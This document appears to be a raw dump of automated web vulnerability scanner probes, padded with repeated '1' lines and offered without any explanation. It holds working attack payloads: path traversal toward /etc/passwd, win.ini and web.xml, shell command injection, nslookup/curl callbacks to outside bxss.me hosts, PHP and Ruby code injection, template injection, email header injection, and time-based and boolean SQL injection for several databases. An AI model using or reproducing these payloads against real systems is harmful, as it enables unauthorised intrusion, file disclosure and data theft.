1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

zev7ubwy

response.write(9153400*9328044)

'+response.write(9153400*9328044)+'

%0abcc:074625.23461-168829.23461.88c28.19599.2@bxss.me

"+response.write(9153400*9328044)+"

to@example.com>%0d%0abcc:074625.23461-168830.23461.88c28.19599.2@bxss.me

../../../../../../../../../../../../../../etc/passwd

<esi:include src="http://bxss.me/rpb.png"/>

../../../../../../../../../../../../../../windows/win.ini

${9999564+10000130}

file:///etc/passwd

../../../../../../../../../../../../../../../proc/version

&n989061=v920298

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

echo soayfu$()\ tecfyi\nz^xyu||a #' &echo soayfu$()\ tecfyi\nz^xyu||a #|" &echo soayfu$()\ tecfyi\nz^xyu||a #

../../../../../../../../../../etc/passwd%00.jpg

&echo txlsmi$()\ hzfmav\nz^xyu||a #' &echo txlsmi$()\ hzfmav\nz^xyu||a #|" &echo txlsmi$()\ hzfmav\nz^xyu||a #

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

|echo gsrase$()\ rioero\nz^xyu||a #' |echo gsrase$()\ rioero\nz^xyu||a #|" |echo gsrase$()\ rioero\nz^xyu||a #

/../..//../..//../..//../..//../..//etc/passwd%00.jpg

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

(nslookup -q=cname hitdommiejwtf1b74d.bxss.me||curl hitdommiejwtf1b74d.bxss.me))

)

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

$(nslookup -q=cname hitypzgnoymmn0cac3.bxss.me||curl hitypzgnoymmn0cac3.bxss.me)

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

&nslookup -q=cname hitgfxyrwdrpud85ef.bxss.me&'\"`0&nslookup -q=cname hitgfxyrwdrpud85ef.bxss.me&`'

!(()&&!|*|*|

/etc/passwd

&(nslookup -q=cname hitwammxcjogqf0f20.bxss.me||curl hitwammxcjogqf0f20.bxss.me)&'\"`0&(nslookup -q=cname hitwammxcjogqf0f20.bxss.me||curl hitwammxcjogqf0f20.bxss.me)&`'

Http://bxss.me/t/fit.txt

^(#$!@#$)(()))******

'"()

|(nslookup -q=cname hitsywnkrkmlkf7bb3.bxss.me||curl hitsywnkrkmlkf7bb3.bxss.me)

http://bxss.me/t/fit.txt%3F.jpg

%2fetc%2fpasswd

'&&sleep(27*1000)*odmzkt&&'

'.gethostbyname(lc('hitpk'.'uvjteeel90756.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(76).chr(97).chr(69).'

`(nslookup -q=cname hitskhsrafmoy3118b.bxss.me||curl hitskhsrafmoy3118b.bxss.me)`

/etc/shells

/.././.././.././.././.././.././.././../etc/./passwd%00

"&&sleep(27*1000)*ciowud&&"

".gethostbyname(lc("hitmg"."igduqabqa9182.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(73).chr(112).chr(70)."

c:/windows/win.ini

;(nslookup -q=cname hitsqjwrszbdm71178.bxss.me||curl hitsqjwrszbdm71178.bxss.me)|(nslookup -q=cname hitsqjwrszbdm71178.bxss.me||curl hitsqjwrszbdm71178.bxss.me)&(nslookup -q=cname hitsqjwrszbdm71178.bxss.me||curl hitsqjwrszbdm71178.bxss.me)

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

'||sleep(27*1000)*irwkom||'

bxss.me

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

"||sleep(27*1000)*mjgtwq||"

HttP://bxss.me/t/xss.html?%00

../././../././../././../././../././../././../././../././../././../././etc/passwd

"+"A".concat(70-3).concat(22*4).concat(100).concat(74).concat(116).concat(69)+(require"socket" Socket.gethostbyname("hitew"+"znvbnxpo2ab2c.bxss.me.")[3].to_s)+"

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

bxss.me/t/xss.html?%00

'+'A'.concat(70-3).concat(22*4).concat(106).concat(87).concat(115).concat(77)+(require'socket' Socket.gethostbyname('hitvg'+'aehcmwfb86ac9.bxss.me.')[3].to_s)+'

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

';print(md5(31337));$a='

'"

xfs.bxss.me

file:///etc/passwd

<!--

978151

/\../\../\../\../\../\../\../etc/passwd

";print(md5(31337));$a="

http://xfs.bxss.me?carroclub.com.br

/WEB-INF/web.xml

${@print(md5(31337))}

xfs.bxss.me?carroclub.com.br

C:\WINDOWS\system32\drivers\etc\hosts

${@print(md5(31337))}\

//xfs.bxss.me?carroclub.com.br

../../../../../../../../../../windows/win.ini%00.jpg

'.print(md5(31337)).'

/\xfs.bxss.me?carroclub.com.br

/../../../../../../../../../../boot.ini

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini

..\..\..\..\..\..\..\..\windows\win.ini

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

WEB-INF/web.xml

WEB-INF\web.xml

1

1

-1 OR 2+916-916-1=0+0+0+1 --

-1 OR 3+916-916-1=0+0+0+1 --

-1 OR 3*2<(0+5+916-916) --

-1 OR 3*2>(0+5+916-916) --

-1 OR 2+109-109-1=0+0+0+1

-1 OR 3+109-109-1=0+0+0+1

-1 OR 3*2<(0+5+109-109)

-1 OR 3*2>(0+5+109-109)

-1' OR 2+936-936-1=0+0+0+1 --

-1' OR 3+936-936-1=0+0+0+1 --

-1' OR 3*2<(0+5+936-936) --

-1' OR 3*2>(0+5+936-936) --

-1' OR 2+108-108-1=0+0+0+1 or 'n8sWnXhy'='

-1' OR 3+108-108-1=0+0+0+1 or 'n8sWnXhy'='

-1' OR 3*2<(0+5+108-108) or 'n8sWnXhy'='

-1' OR 3*2>(0+5+108-108) or 'n8sWnXhy'='

-1" OR 2+931-931-1=0+0+0+1 --

-1" OR 3+931-931-1=0+0+0+1 --

-1" OR 3*2<(0+5+931-931) --

-1" OR 3*2>(0+5+931-931) --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

44O7rAz4'; waitfor delay '0:0:15' --

-5 OR 376=(SELECT 376 FROM PG_SLEEP(15))--

-5) OR 447=(SELECT 447 FROM PG_SLEEP(15))--

-1)) OR 962=(SELECT 962 FROM PG_SLEEP(15))--

EbtTlM4Z' OR 778=(SELECT 778 FROM PG_SLEEP(15))--

tLo5nbGe') OR 369=(SELECT 369 FROM PG_SLEEP(15))--

n1yxXA8W')) OR 408=(SELECT 408 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1�????%2527%2522

@@t7w8Y

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1